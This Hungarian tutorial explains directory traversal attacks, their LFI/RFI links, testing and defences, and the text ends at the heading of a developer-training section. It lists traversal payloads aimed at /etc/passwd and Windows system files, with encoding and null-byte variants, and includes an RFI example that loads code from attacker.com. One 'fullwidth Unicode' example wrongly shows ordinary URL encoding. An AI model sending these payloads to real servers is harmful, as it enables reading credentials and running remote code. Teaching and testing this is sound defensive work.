A modern digitális világban az internetes alkalmazások és weboldalak képezik az online interakciók gerincét. Ezen rendszerek komplexitása azonban számos potenciális belépési pontot kínál a rosszindulatú szereplők számára. A HTTP sebezhetőségek széles skáláján belül a directory traversal, más néven path traversal vagy dot-dot-slash attack, az egyik alapvető és gyakran előforduló biztonsági rés, amely súlyos következményekkel járhat. Ez a sebezhetőség lehetővé teszi a támadó számára, hogy hozzáférjen a webgyökérkönyvtáron kívül eső fájlokhoz és könyvtárakhoz a szerveren, megkerülve a biztonsági korlátozásokat és potenciálisan bizalmas adatokhoz jutva, vagy akár a teljes rendszer feletti irányítást is megszerezve.
A directory traversal támadások alapvető oka a szerveroldali alkalmazások nem megfelelő bemeneti validációjában rejlik. Amikor egy webalkalmazás fájlokat vagy erőforrásokat kér le a felhasználó által megadott elérési út alapján, és nem tisztítja meg vagy nem ellenőrzi megfelelően a bemenetet, akkor sebezhetővé válik. A támadó ekkor speciálisan kialakított karakterláncokat, például a ../
(pont-pont-perjel) szekvenciát használja, hogy navigáljon a fájlrendszer hierarchiájában, felfelé lépkedve a könyvtárakban, amíg el nem éri a kívánt célfájlt vagy könyvtárat. Ennek a sebezhetőségnek a megértése kulcsfontosságú a fejlesztők és a biztonsági szakemberek számára egyaránt, hogy hatékonyan védekezhessenek ellene és megerősíthessék az online rendszerek biztonságát.
Mi is az a directory traversal? A fogalom mélyreható elemzése
A directory traversal, vagy magyarul könyvtárbejárási sebezhetőség, egy olyan biztonsági rés, amely lehetővé teszi egy támadó számára, hogy hozzáférjen olyan fájlokhoz és könyvtárakhoz a szerveren, amelyekhez normális körülmények között nem lenne jogosultsága. Ez a támadás a fájlrendszer hierarchiájának manipulálásán alapul, kihasználva a webalkalmazás azon hiányosságát, hogy nem ellenőrzi megfelelően a felhasználó által megadott fájlneveket vagy elérési utakat. A sebezhetőség lényege, hogy a szerveroldali kód a felhasználói bemenetet közvetlenül használja fel fájlrendszeri műveletekhez, anélkül, hogy megtisztítaná vagy validálná azt.
A támadás kulcseleme a ../
(pont-pont-perjel) karakterlánc. Ez a szekvencia a fájlrendszerben egy könyvtárral feljebb való navigálást jelenti. Például, ha egy alkalmazás a /var/www/html/templates/
könyvtárban keresi a fájlokat, és a felhasználó megadja a template.html
fájlnevet, az alkalmazás a /var/www/html/templates/template.html
fájlt fogja betölteni. Ha azonban a támadó a ../secret/config.txt
stringet adja meg, és a szerver nem validálja a bemenetet, akkor a szerver megpróbálja betölteni a /var/www/html/templates/../secret/config.txt
fájlt, ami valójában a /var/www/html/secret/config.txt
fájlt jelenti. Ha a secret
könyvtár a webgyökérkönyvtáron kívül esik, például a /etc/
alá, akkor a támadó a ../../../etc/passwd
stringet használhatja, hogy elérje a felhasználói adatokat tartalmazó fájlt.
A sebezhetőség nem korlátozódik kizárólag webalkalmazásokra, bár a HTTP protokollon keresztül történő kihasználása a leggyakoribb. Hasonló logikai hibák előfordulhatnak FTP szervereken, SMB megosztásokon, sőt, akár helyi fájlrendszeri műveleteket végző desktop alkalmazásokban is. A lényeg mindig az, hogy a program kódja nem kezeli biztonságosan a külső, nem megbízható forrásból származó elérési utakat vagy fájlneveket.
A directory traversal támadások alapja a fájlrendszer hierarchiájának manipulálása, a
../
szekvencia ismételt használatával, hogy a szerver gyökérkönyvtárán kívüli fájlokhoz is hozzáférjenek.
Ez a sebezhetőség gyakran a fájlkezelő funkciókban jelenik meg, például fájlok feltöltésénél, letöltésénél, megtekintésénél, vagy akár log fájlok elérésénél. Bármely olyan funkció, amely a felhasználó által szolgáltatott adatok alapján konstruál egy fájl elérési utat, potenciálisan sebezhető lehet. A támadók gyakran célozzák meg a rendszerszintű konfigurációs fájlokat (pl. /etc/passwd
, /etc/shadow
Linux/Unix rendszereken, vagy C:\Windows\System32\drivers\etc\hosts
Windows rendszereken), vagy az alkalmazás saját konfigurációs fájljait, amelyek érzékeny információkat, például adatbázis-hitelesítő adatokat tartalmazhatnak.
A támadás sikere nagyban függ a szerveren futó alkalmazás jogosultságaitól. Ha az alkalmazás magas jogosultságokkal fut, a támadó sokkal több kárt okozhat. Ideális esetben a webalkalmazások a legkevesebb jogosultsággal futnak, ami korlátozza a potenciális károkat egy sikeres támadás esetén. Mindazonáltal, még alacsony jogosultságok esetén is komoly biztonsági kockázatot jelenthet a bizalmas adatok kiszivárogtatása.
A támadás anatómiája: hogyan használják ki a sebezhetőséget?
A directory traversal támadás kihasználásának mechanizmusa a bemeneti adatok validálásának hiányára épül. Az alkalmazás nem ellenőrzi megfelelően a felhasználó által megadott elérési utat, mielőtt azt fájlrendszeri műveletekhez használná. Ez a hiányosság lehetővé teszi a támadó számára, hogy manipulálja a kért erőforrás helyét a szerveren.
Bemeneti adatok validálásának hiánya
A leggyakoribb forgatókönyv az, amikor egy webalkalmazás egy HTTP GET vagy POST kérésben kap egy fájlnevet vagy egy részleges elérési utat, és ezt a bemenetet közvetlenül hozzáfűzi egy belső alap elérési úthoz. Például, ha egy képnézegető alkalmazás a /images/
könyvtárból szolgálja ki a képeket, és a felhasználó a ?image=picture.jpg
paramétert adja meg, az alkalmazás a /images/picture.jpg
fájlt fogja betölteni. Ha azonban a támadó a ?image=../../../../etc/passwd
paramétert adja meg, és az alkalmazás nem ellenőrzi a bemenetet, akkor megpróbálja betölteni a /images/../../../../etc/passwd
fájlt. A fájlrendszer ezt a relatív elérési utat abszolút elérési úttá oldja fel, ami a /etc/passwd
fájlhoz vezet.
A probléma gyökere abban rejlik, hogy a fejlesztők gyakran feltételezik, hogy a felhasználói bemenet „jóindulatú” és a várt formátumban érkezik. A biztonságos kódolási gyakorlatok azonban megkövetelik, hogy minden külső forrásból származó bemenetet potenciálisan rosszindulatúnak tekintsünk, és szigorúan validáljuk azt, mielőtt felhasználnánk.
Szerveroldali logika hibái és a fájlrendszer-kezelés
A különböző operációs rendszerek eltérő módon kezelik a fájl elérési utakat, ami további kihívásokat jelenthet. Bár a /
(perjel) a domináns könyvtárelválasztó a Linux/Unix rendszereken, a Windows rendszerek a \
(backslash) karaktert is elfogadják. Ez azt jelenti, hogy egy támadó mindkét karaktert használhatja a támadás végrehajtásához, és egy robusztus védelemnek mindkettőt figyelembe kell vennie.
Operációs rendszer | Könyvtárelválasztó | Példa directory traversalre |
---|---|---|
Linux / Unix | / |
../../../../etc/passwd |
Windows | \ vagy / |
..\..\..\..\windows\system32\drivers\etc\hosts |
A szerveroldali logika hibái abban is megnyilvánulhatnak, hogy az alkalmazás nem használja a megfelelő API-kat vagy függvényeket a fájl elérési utak normalizálására (canonicalization). A normalizálás során az elérési út abszolút és egyértelmű formára alakul, eltávolítva a relatív elemeket, mint a ../
. Ha ez elmarad, a szerver a rosszindulatú, manipulált elérési utat fogja használni.
Kódolási trükkök és a HTTP protokoll szerepe
A támadók gyakran alkalmaznak különböző kódolási technikákat, hogy megkerüljék az egyszerű bemeneti szűrőket vagy a Web Application Firewall (WAF) rendszereket. Az URL-kódolás (URL encoding) a leggyakoribb ilyen technika. Például a /
karaktert %2f
-ként, a .
karaktert %2e
-ként lehet kódolni. Így a ../
szekvencia számos formában megjelenhet:
%2e%2e%2f
..%2f
%2e%2e/
%2e%2e%5c
(Windows rendszerekre, ahol\
=%5c
)- Dupla URL-kódolás:
%252e%252e%252f
(ha az alkalmazás többszörösen dekódol)
Néhány ritkább esetben a Unicode kódolás is felhasználható, ahol a kanonikus formára alakítás előtt az alkalmazás nem megfelelően kezeli a különböző Unicode reprezentációkat. Például a U+FF0E
(fullwidth dot) és U+FF0F
(fullwidth solidus) karakterek, amelyek vizuálisan hasonlítanak a hagyományos pontra és perjelre, de eltérő bájtkódokkal rendelkeznek, felhasználhatók a szűrők megkerülésére, ha az alkalmazás nem normalizálja őket megfelelően.
A HTTP protokoll szerepe abban rejlik, hogy a támadó ezen keresztül küldi el a manipulált kéréseket. A paraméterek átadhatók a lekérdezési stringben (GET kérések), a POST kérés törzsében, HTTP fejlécekben (pl. User-Agent, Referer, Cookie), vagy akár a fájl feltöltési funkciók során a fájlnév paramétereként. A támadónak csak meg kell találnia egy olyan pontot az alkalmazásban, ahol a felhasználói bemenet befolyásolja egy fájl elérési útját, és ott bejuttatni a rosszindulatú szekvenciát.
Egy másik kifinomult technika a null byte injekció (%00
). Régebbi rendszerekben vagy bizonyos programozási nyelvekben a null byte a string végét jelenti. Ha egy alkalmazás nem tisztítja meg a bemenetet a null byte-tól, akkor a támadó egy olyan stringet küldhet, mint például ../../../../etc/passwd%00.jpg
. A szerver a .jpg
kiterjesztést figyelmen kívül hagyja, mert a null byte-nál leállítja a string feldolgozását, így a támadó hozzáférhet a /etc/passwd
fájlhoz, miközben az alkalmazás azt hiszi, hogy egy képfájlt próbál betölteni.
A directory traversal típusai és variációi
A directory traversal sebezhetőség számos formában jelentkezhet, attól függően, hogy az alkalmazás hogyan dolgozza fel a felhasználói bemenetet és milyen környezetben fut. Ezek a variációk megnehezíthetik a felderítést és a védekezést, ezért fontos megérteni a különböző típusokat.
Nem rekurzív vs. rekurzív directory traversal
A legegyszerűbb forma a nem rekurzív directory traversal, ahol a támadó a ../
szekvenciát használja, és az alkalmazás azt egyszerűen hozzáfűzi egy alap elérési úthoz. Például, ha az alkalmazás a base_path + user_input
formában konstruálja az elérési utat, és a user_input
az ../file.txt
, akkor a támadás közvetlenül működik.
A rekurzív directory traversal egy összetettebb eset, ahol az alkalmazás többszörösen dekódolja vagy normalizálja a bemenetet. Például, ha egy alkalmazás kétszer dekódolja az URL-kódolt bemenetet, akkor a támadó a %252e%252e%252f
(kétszeresen kódolt ../
) szekvenciát használhatja. Az első dekódolás során ez %2e%2e%2f
lesz, majd a második dekódolás után ../
. Ez a technika gyakran a WAF-ok vagy más biztonsági rétegek megkerülésére szolgál, amelyek csak az első szintű kódolást ellenőrzik.
Teljes elérési út megadása (absolute path traversal)
Bár a directory traversal általában relatív elérési utakra vonatkozik, bizonyos esetekben a támadó abszolút elérési utakat is megadhat. Ez akkor fordulhat elő, ha az alkalmazás nem ellenőrzi, hogy a felhasználó által megadott elérési út egy abszolút elérési út-e (pl. /etc/passwd
vagy C:\Windows\System32\drivers\etc\hosts
), és közvetlenül megpróbálja megnyitni azt. Ez ritkább, mivel a modern rendszerek általában megakadályozzák az abszolút elérési utak közvetlen használatát a felhasználói bemenetből egy webalkalmazás kontextusában, de nem kizárt.
Kódolási variációk és megkerülési technikák
A már említett URL-kódoláson és dupla URL-kódoláson túl számos más kódolási variáció létezhet, amelyeket a támadók a szűrők megkerülésére használnak:
- Unicode kódolás: A
../
karakterek Unicode megfelelőinek használata, például a full-width karakterek (%2e%2e%2f
). Ha az alkalmazás nem normalizálja ezeket a karaktereket a hagyományos ASCII megfelelőikre, akkor a szűrők elkerülhetők. - UTF-8 túl hosszú kódolás: Bizonyos esetekben a UTF-8 kódolás szabályainak megsértésével, „túl hosszú” kódolásokat használva is meg lehet kerülni a szűrőket. Ez azonban nagyon specifikus, ritkán előforduló hibákra támaszkodik.
- Null byte injekció (
%00
): Ahogy korábban említettük, a null byte hozzáadása az elérési út végéhez, mielőtt a kívánt fájlkiterjesztést megadjuk (pl.../../../../etc/passwd%00.jpg
). A null byte a string végét jelzi a C-alapú függvények számára, így a kiterjesztés figyelmen kívül marad. - Részleges kódolás: A
../
szekvencia egyes részeinek kódolása, mások meghagyása (pl...%2f
vagy%2e./
). Ez akkor működhet, ha a szűrő csak a teljes../
szekvenciára keres, de nem vizsgálja a részlegesen kódolt formákat. - Extra perjelek: A
//
vagy///
használata az elérési útban, például../../../../etc//passwd
. Egyes rendszerek normalizálják ezeket az extra perjeleket, mások nem, ami szintén kihasználható.
Ezek a technikák rávilágítanak arra, hogy a bemeneti validációnak rendkívül robusztusnak és átfogónak kell lennie, figyelembe véve az összes lehetséges kódolási és formázási variációt.
Fájl inklúziós sebezhetőségekkel való kapcsolata (LFI, RFI)
A directory traversal szorosan kapcsolódik a fájl inklúziós sebezhetőségekhez, mint a Local File Inclusion (LFI) és a Remote File Inclusion (RFI). Valójában a directory traversal gyakran az LFI támadások egyik formája, ahol a támadó a ../
szekvenciát használja egy helyi fájl elérésére.
- Local File Inclusion (LFI): Ez a sebezhetőség akkor fordul elő, ha egy webalkalmazás dinamikusan tartalmaz vagy futtat fájlokat a szerverről a felhasználó által megadott bemenet alapján, anélkül, hogy megfelelően validálná azt. Ha a fájl elérési útja manipulálható directory traversal technikákkal, akkor a támadó tetszőleges fájlokat olvashat a szerverről. Például, egy PHP alkalmazásban:
include($_GET['page'] . '.php');
Ha a támadó a?page=../../../../etc/passwd%00
stringet adja meg, akkor a/etc/passwd
fájl tartalma bekerül a PHP szkriptbe, és megjelenik a felhasználó számára. - Remote File Inclusion (RFI): Az RFI sebezhetőség hasonló az LFI-hez, de lehetővé teszi a támadó számára, hogy távoli szerverekről származó fájlokat is beillesszen és futtasson. Ez még súlyosabb, mivel közvetlenül vezethet távoli kódfuttatáshoz (Remote Code Execution – RCE). Például, ha az alkalmazás engedélyezi a távoli URL-ek beillesztését:
include($_GET['url']);
és a támadó megadja a?url=http://attacker.com/malicious_code.php
, akkor a támadó szerverén lévő rosszindulatú kód fut le a célrendszeren. Bár ez nem közvetlenül directory traversal, a mögöttes ok (nem validált bemenet a fájlkezelő függvényekben) hasonló.
A directory traversal tehát gyakran az első lépés vagy egy komponens egy összetettebb támadásban, amelynek végső célja az információgyűjtés, a jogosultságok kiterjesztése vagy a távoli kódfuttatás elérése.
Milyen károkat okozhat egy sikeres directory traversal támadás?

Egy sikeres directory traversal támadás rendkívül súlyos következményekkel járhat a szervezet számára, a bizalmas adatok kiszivárogtatásától a teljes rendszerkompromittálásig. A károk mértéke attól függ, hogy a támadó milyen jogosultságokkal tudja a támadást végrehajtani, és milyen fájlokhoz fér hozzá.
Bizalmas adatok kiszivárogtatása
Ez a legközvetlenebb és leggyakoribb következmény. A támadó hozzáférhet:
- Konfigurációs fájlokhoz: Ezek a fájlok gyakran tartalmaznak érzékeny információkat, például adatbázis-hitelesítő adatokat, API kulcsokat, titkosítási kulcsokat, vagy egyéb rendszerkonfigurációs paramétereket. Például, a
wp-config.php
WordPress oldalakon, vagyweb.config
ASP.NET alkalmazásokban. - Jelszófájlokhoz: Linux/Unix rendszereken a
/etc/passwd
és/etc/shadow
fájlok, Windows rendszereken a SAM adatbázis (bár ez utóbbihoz való hozzáférés bonyolultabb és általában magasabb jogosultságokat igényel). A/etc/passwd
tartalmazza a felhasználói fiókok listáját, a/etc/shadow
pedig a titkosított jelszavakat. Ezek megszerzésével a támadó offline feltörheti a jelszavakat, és további hozzáférést szerezhet. - Forráskódhoz: Az alkalmazás forráskódjának megszerzése felbecsülhetetlen értékű a támadó számára. Ez lehetővé teszi számára, hogy megértse az alkalmazás belső logikáját, további sebezhetőségeket találjon, és kifinomultabb támadásokat tervezzen.
- Naplófájlokhoz (log files): A szerver és az alkalmazás naplófájljai értékes információkat szolgáltathatnak a rendszer működéséről, potenciális hibákról, hálózati konfigurációról, vagy akár más felhasználók által küldött érzékeny adatokról (pl. IP címek, felhasználónevek).
- Egyéb érzékeny adatokhoz: Bármilyen más bizalmas fájlhoz, amely a szerveren tárolódik, és a webalkalmazás jogosultságaival elérhető. Ez magában foglalhatja a személyes adatokat, pénzügyi információkat, szellemi tulajdont, vagy bármilyen más adatot, amelynek nyilvánosságra kerülése kárt okozhat.
Rendszerfájlok elérése és információgyűjtés
A támadó nem csak bizalmas adatokat, hanem rendszerszintű fájlokat is elérhet, amelyek további információkat szolgáltatnak a szerverről és annak konfigurációjáról. Ez a információgyűjtési fázis alapvető egy összetettebb támadás során. Például:
- Linux/Unix rendszereken:
/proc/cpuinfo
,/proc/meminfo
,/etc/hostname
,/etc/issue
,/var/log/dmesg
,/var/log/auth.log
,/var/log/apache2/access.log
,/var/log/mysql/mysql.log
. - Windows rendszereken:
C:\boot.ini
,C:\Windows\win.ini
,C:\Windows\System32\drivers\etc\hosts
, IIS log fájlok.
Ezen információk alapján a támadó pontosabb képet kaphat a célrendszerről, beleértve az operációs rendszert, a futó szolgáltatásokat, a hálózati konfigurációt és a potenciális gyenge pontokat.
Fájl írása és távoli kódfuttatás (RCE) lehetősége
Bár a directory traversal alapvetően fájlok olvasására szolgál, bizonyos körülmények között lehetővé teheti a fájlok írását is, ami a legsúlyosabb következményhez, a távoli kódfuttatáshoz (RCE) vezethet. Ez akkor lehetséges, ha az alkalmazás egy írási műveletet végez (pl. fájlfeltöltés, naplózás) és a cél elérési út manipulálható directory traversal technikákkal.
Például, ha egy alkalmazás engedélyezi a profilképek feltöltését, és a feltöltött fájl elérési útja manipulálható, a támadó egy rosszindulatú szkriptet tölthet fel a szerver egy írható könyvtárába (pl. a webgyökérkönyvtárba vagy egy ideiglenes könyvtárba, ahonnan később áthelyezhető). Ha a feltöltött fájl egy webszerver által futtatható fájl (pl. PHP szkript, ASPX fájl), akkor a támadó a feltöltés után közvetlenül futtathatja a saját kódját a szerveren. Ez teljes irányítást biztosít a támadó számára a szerver felett.
A directory traversal nem csupán adatszivárgást okozhat; megfelelő körülmények között a szerver teljes kompromittálásához és távoli kódfuttatáshoz vezethet.
Teljes rendszerkompromittálás
A fenti pontok összessége végül a teljes rendszerkompromittáláshoz vezethet. Ha a támadó sikeresen olvas bizalmas konfigurációs fájlokat, felhasználói hitelesítő adatokat, és képes kódot futtatni a szerveren, akkor:
- Jogosultságokat emelhet a rendszeren belül.
- További rosszindulatú szoftvereket telepíthet (backdoor, rootkit).
- A szervert botnetbe vonhatja, vagy más támadások kiindulópontjává teheti.
- Törölheti vagy módosíthatja az adatokat.
- Denial of Service (DoS) támadásokat indíthat a szerver ellen.
A directory traversal tehát egy kritikus sebezhetőség, amelynek azonnali javítása elengedhetetlen a webalkalmazások és a mögöttes rendszerek biztonságának fenntartásához.
A sebezhetőség felderítése és tesztelése
A directory traversal sebezhetőség felderítése és tesztelése alapvető lépés minden biztonsági audit és penetrációs teszt során. A tesztelési módszerek a manuális vizsgálattól az automatizált eszközök használatáig terjednek, és céljuk a potenciális bemeneti pontok azonosítása és a manipulált elérési utak hatásának felmérése.
Manuális tesztelés (böngésző, Burp Suite)
A manuális tesztelés a legrugalmasabb és gyakran a leghatékonyabb módja a directory traversal sebezhetőségek felderítésére, különösen a komplexebb esetekben, ahol az automatizált eszközök esetleg elakadnak.
- Bemeneti pontok azonosítása: Az első lépés az alkalmazás azon részeinek azonosítása, ahol a felhasználói bemenet befolyásolhatja egy fájl elérési útját. Ez magában foglalhatja:
- URL paramétereket (GET kérések, pl.
?file=...
,?page=...
,?template=...
) - POST kérés paramétereket (űrlapok, fájlfeltöltések)
- HTTP fejléceket (pl.
User-Agent
,Referer
,Cookie
, ha az alkalmazás ezeket is felhasználja fájlrendszeri műveletekhez) - Fájlfeltöltési funkciók (a feltöltött fájl nevének vagy elérési útjának manipulálása)
- URL paramétereket (GET kérések, pl.
- Alap tesztelés: Miután azonosítottunk egy potenciális bemeneti pontot, megpróbáljuk bejuttatni az alap
../
szekvenciát. Például, ha a?file=image.jpg
paramétert használja az alkalmazás, próbáljuk meg a?file=../../../../etc/passwd
vagy?file=../../../../windows/system32/drivers/etc/hosts
értéket. - Kódolási variációk tesztelése: Ha az alap támadás nem működik, próbálkozzunk különböző kódolási formákkal:
- URL kódolás:
%2e%2e%2f
,..%2f
,%2e%2e/
- Dupla URL kódolás:
%252e%252e%252f
- Null byte injekció:
../../../../etc/passwd%00.jpg
- Alternatív perjelek (Windows):
..\..\..\..\windows\system32\drivers\etc\hosts
vagy..%5c..%5c..%5c..%5cwindows%5csystem32%5cdrivers%5cetc%5chosts
- URL kódolás:
- Válasz elemzése: Figyeljük a szerver válaszát. Sikeres támadás esetén a kért fájl tartalma megjelenik a válaszban. Ha hibaüzenet érkezik, elemezzük azt, mert információt szolgáltathat a szerver környezetéről vagy a szűrőmechanizmusokról.
A Burp Suite (vagy más proxy eszköz, mint az OWASP ZAP) rendkívül hasznos a manuális teszteléshez. Lehetővé teszi a HTTP kérések elfogását, módosítását és megismétlését, valamint a válaszok részletes elemzését. A Burp Intruder modulja automatizálhatja a különböző payloadok (pl. különböző kódolású traversal stringek) küldését, felgyorsítva a tesztelési folyamatot.
Automatizált eszközök (OWASP ZAP, Nessus, Acunetix)
Az automatizált eszközök nagy mennyiségű bemeneti pontot képesek gyorsan átvizsgálni, és előre definiált támadási mintákat alkalmazni. Bár nem mindig képesek felderíteni a legösszetettebb, kontextusfüggő sebezhetőségeket, rendkívül hasznosak a széles körű, alapvető directory traversal hibák azonosításában.
- OWASP ZAP (Zed Attack Proxy): Egy ingyenes, nyílt forráskódú webalkalmazás biztonsági szkenner. Képes passzív és aktív szkennelésre. Az aktív szkennerek között szerepelnek a directory traversal támadások felismerésére szolgáló modulok, amelyek automatikusan próbálkoznak különböző payloadokkal a potenciális bemeneti pontokon.
- Nessus: Egy kereskedelmi sebezhetőségi szkenner, amely széles körű hálózati és webalkalmazás sebezhetőségeket képes felderíteni, beleértve a directory traversalt is. Átfogó jelentéseket készít a talált problémákról.
- Acunetix: Egy másik népszerű kereskedelmi webalkalmazás szkenner, amely kifejezetten a webes sebezhetőségekre, köztük a directory traversalra specializálódott. Fejlett technikákat használ a szűrők megkerülésére és a vakfoltok azonosítására.
- Nikto: Egy nyílt forráskódú webszerver szkenner, amely többek között directory traversal sebezhetőségeket is képes ellenőrizni, bár elsősorban a webszerver konfigurációs hibáira és a potenciálisan veszélyes fájlokra fókuszál.
Az automatizált eszközök használatakor fontos a hamis pozitív (false positive) eredmények kezelése. Egy szkenner jelezhet egy directory traversal sebezhetőséget, amely valójában nem kihasználható. Ezért az automatizált eredményeket mindig manuálisan kell ellenőrizni és validálni.
Black-box vs. White-box tesztelés
A tesztelés megközelítése is befolyásolja a felderítés hatékonyságát:
- Black-box tesztelés: A tesztelőnek nincs hozzáférése az alkalmazás forráskódjához vagy belső architektúrájához. Csak a külső felületet látja, és a felhasználó szemszögéből próbálja meg kihasználni a sebezhetőségeket. Ez a megközelítés szimulálja a valós támadó viselkedését, de korlátozott lehet a mélyebb, kevésbé nyilvánvaló hibák felderítésében.
- White-box tesztelés: A tesztelő teljes hozzáféréssel rendelkezik a forráskódhoz és a rendszerdokumentációhoz. Ez lehetővé teszi a kód alapos átvizsgálását (code review) a potenciálisan sebezhető fájlkezelő függvények és a bemeneti validáció hiányosságainak azonosítására. Ez a megközelítés sokkal alaposabb és hatékonyabb, de időigényesebb.
Penetrációs tesztelés szerepe
A penetrációs tesztelés (pentest) során a directory traversal sebezhetőségek felderítése kulcsfontosságú. A pentesterek a manuális és automatizált eszközök kombinációját alkalmazzák, hogy szisztematikusan azonosítsák és kihasználják ezeket a hibákat. A cél nem csak a sebezhetőség megtalálása, hanem annak bizonyítása is, hogy az valóban kihasználható, és milyen károkat okozhat. A sikeres kihasználás után a pentesterek dokumentálják a lépéseket, a talált fájlokat, és javaslatokat tesznek a javításra.
A rendszeres és alapos tesztelés elengedhetetlen a directory traversal és más webes sebezhetőségek felderítéséhez és orvoslásához, mielőtt rosszindulatú támadók kihasználnák azokat.
Megelőzési stratégiák fejlesztőknek és rendszergazdáknak
A directory traversal sebezhetőség megelőzése a fejlesztés és az üzemeltetés minden szakaszában megköveteli a biztonságtudatos megközelítést. A hatékony védelem több rétegből áll, a bemeneti adatok szigorú validálásától a szerver konfigurációjának megerősítéséig.
Bemeneti adatok szigorú validálása és szűrése
Ez a legfontosabb védelmi vonal. Minden felhasználói bemenetet, amely fájlrendszeri művelethez kerül felhasználásra, szigorúan ellenőrizni kell. A cél, hogy megakadályozzuk a rosszindulatú karakterek, például a ../
, ./
, \
, és a kódolt variációik bejutását a fájl elérési útba.
- Engedélyező lista (whitelist) megközelítés: Ez a legbiztonságosabb módszer. Ahelyett, hogy tiltanánk a rosszindulatú karaktereket, csak azokat a karaktereket és formátumokat engedélyezzük, amelyekről tudjuk, hogy biztonságosak és szükségesek. Például, ha egy fájlnév paramétert várunk, csak alfanumerikus karaktereket, pontot és kötőjelet engedélyezzünk. Ha a felhasználónak fájltípust kell választania, csak előre definiált, biztonságos fájltípusokat engedélyezzünk (pl.
.jpg
,.png
,.gif
), és ne hagyjuk, hogy tetszőleges kiterjesztést adjon meg.// Példa PHP-ban (egyszerűsített, engedélyező lista fájlnévre) function isValidFilename($filename) { return preg_match('/^[a-zA-Z0-9_\-\.]+$/', $filename) && !preg_match('/\.\.\/|\.\.\\\\/', $filename); } $filename = $_GET['file']; if (isValidFilename($filename)) { // Biztonságos fájlkezelés } else { // Hiba kezelése }
- Tilalmi lista (blacklist) korlátai: A tilalmi lista megközelítés (azaz az ismert rossz karakterek tiltása) kevésbé biztonságos, mert a támadók mindig találhatnak újabb és újabb megkerülési módokat (pl. kódolási variációk, Unicode karakterek). Bár kiegészítő védelmet nyújthat, önmagában nem elegendő.
- Fájlnév-ellenőrzés és elérési út normalizálása (canonicalization): A bemeneti validáció során alapvető fontosságú az elérési út normalizálása. Ez azt jelenti, hogy az alkalmazásnak a relatív elérési utakat abszolút, kanonikus formára kell alakítania, mielőtt bármilyen fájlrendszeri műveletet végezne. Számos programozási nyelv és keretrendszer kínál beépített funkciókat erre a célra (pl. PHP-ban
realpath()
, Pythonbanos.path.realpath()
, Java-banFile.getCanonicalPath()
). Ezek a függvények feloldják a../
szekvenciákat és egyéb relatív hivatkozásokat, és visszaadják a fájl valós, abszolút elérési útját. Ezt követően ellenőrizni kell, hogy a kanonikus elérési út valóban a kívánt, biztonságos könyvtáron belül van-e.// Példa PHP-ban, realpath() és ellenőrzés $baseDir = '/var/www/html/safe_files/'; $requestedFile = $_GET['file']; // Elérési út normalizálása $fullPath = realpath($baseDir . $requestedFile); // Ellenőrizzük, hogy a normalizált elérési út a baseDir-en belül van-e if ($fullPath && strpos($fullPath, realpath($baseDir)) === 0) { // Biztonságos: a fájl a megengedett könyvtárban van readfile($fullPath); } else { // Hiba: kísérlet a könyvtárbejárásra echo "Hozzáférés megtagadva."; }
Elérési utak biztonságos kezelése
A kód szintjén túlmenően a rendszer konfigurációjával is hozzájárulhatunk a védelemhez.
- Alkalmazás gyökérkönyvtárának korlátozása (chroot, sandboxing): A
chroot
rendszerhívás (Unix-szerű rendszereken) lehetővé teszi, hogy egy folyamat számára egy „gyökérkönyvtárat” definiáljunk, amelyen kívül nem férhet hozzá a fájlrendszerhez. Ez egyfajta homokozó (sandbox) környezetet hoz létre. Ha a webalkalmazás egychroot
-olt környezetben fut, akkor még egy sikeres directory traversal támadás esetén sem tudja a támadó elhagyni ezt a korlátozott könyvtárat, így nem fér hozzá a rendszerszintű fájlokhoz. Bár achroot
nem tökéletes biztonsági megoldás önmagában, jelentősen csökkenti a támadási felületet. - Fájlrendszer jogosultságok minimalizálása (least privilege): Az alkalmazásoknak és a webszervernek a lehető legkevesebb jogosultsággal kell futniuk. Ne futtassa a webalkalmazást rootként vagy rendszergazdaként. Korlátozza a webalkalmazás számára elérhető fájlok és könyvtárak írási, olvasási és futtatási jogosultságait. Például, a webgyökérkönyvtárnak és az alkalmazás fájljainak csak olvashatónak kell lenniük a webszerver felhasználója számára, kivéve azokat a könyvtárakat, ahová feltöltött fájlok kerülnek, amelyeknek írhatónak kell lenniük, de nem futtathatóknak.
Web Application Firewall (WAF) használata
A Web Application Firewall (WAF) egy hálózati biztonsági megoldás, amely a webalkalmazás forgalmát figyeli és szűri. Képes felismerni és blokkolni az ismert támadási mintákat, beleértve a directory traversal kísérleteket is. A WAF-ok szabálykészleteket használnak a rosszindulatú bemenet azonosítására (pl. ../
, %2e%2e%2f
szekvenciákra keresve). Bár a WAF-ok hasznos kiegészítő védelmet nyújtanak, nem helyettesítik a biztonságos kódolási gyakorlatokat, mivel a támadók megpróbálhatják megkerülni a WAF-ot a kódolási variációk vagy a kifinomultabb támadások révén.
Rendszeres biztonsági auditok és kódellenőrzések
A szoftverfejlesztési életciklus (SDLC) során a biztonsági auditok és kódellenőrzések beépítése elengedhetetlen a sebezhetőségek korai fázisban történő azonosításához.
- Statikus Alkalmazás Biztonsági Tesztelés (SAST): A SAST eszközök elemzik a forráskódot vagy a bináris kódot a potenciális sebezhetőségek, köztük a directory traversal azonosítására, anélkül, hogy futtatnák az alkalmazást.
- Dinamikus Alkalmazás Biztonsági Tesztelés (DAST): A DAST eszközök (pl. OWASP ZAP, Acunetix) futtatják az alkalmazást, és külsőleg tesztelik a sebezhetőségeket, hasonlóan egy támadóhoz.
- Manuális kódellenőrzések: Tapasztalt biztonsági szakemberek által végzett manuális kódátvizsgálások mélyebb hibákat is feltárhatnak, amelyeket az automatizált eszközök esetleg nem észlelnek. Különös figyelmet kell fordítani minden olyan kódra, amely fájlrendszeri műveleteket végez felhasználói bemenet alapján.
Szerver konfiguráció
A webszerver megfelelő konfigurációja is hozzájárul a directory traversal elleni védelemhez.
- Könyvtárlistázás letiltása: Győződjön meg róla, hogy a webszerver (Apache, Nginx, IIS) le van tiltva a könyvtárak tartalmának automatikus listázására. Ez megakadályozza, hogy a támadó könnyedén felderítse a szerver fájlstruktúráját.
- Hibajelzések kezelése: A részletes hibaüzenetek, amelyek elérési utakat vagy belső rendszerinformációkat tartalmaznak, segíthetik a támadót. A gyártási környezetben a hibaüzeneteket minimalizálni kell, és csak általános üzeneteket szabad megjeleníteni a felhasználó számára. A részletes hibainformációkat a szerveroldali naplókba kell írni.
- Webszerverek konfigurációs best practice-ek: Alkalmazza a webszerverek biztonságos konfigurációs ajánlásait, pl. a felesleges modulok eltávolítása, a nem használt protokollok letiltása, a legújabb biztonsági frissítések telepítése.
Fejlesztői képzés és tudatosság
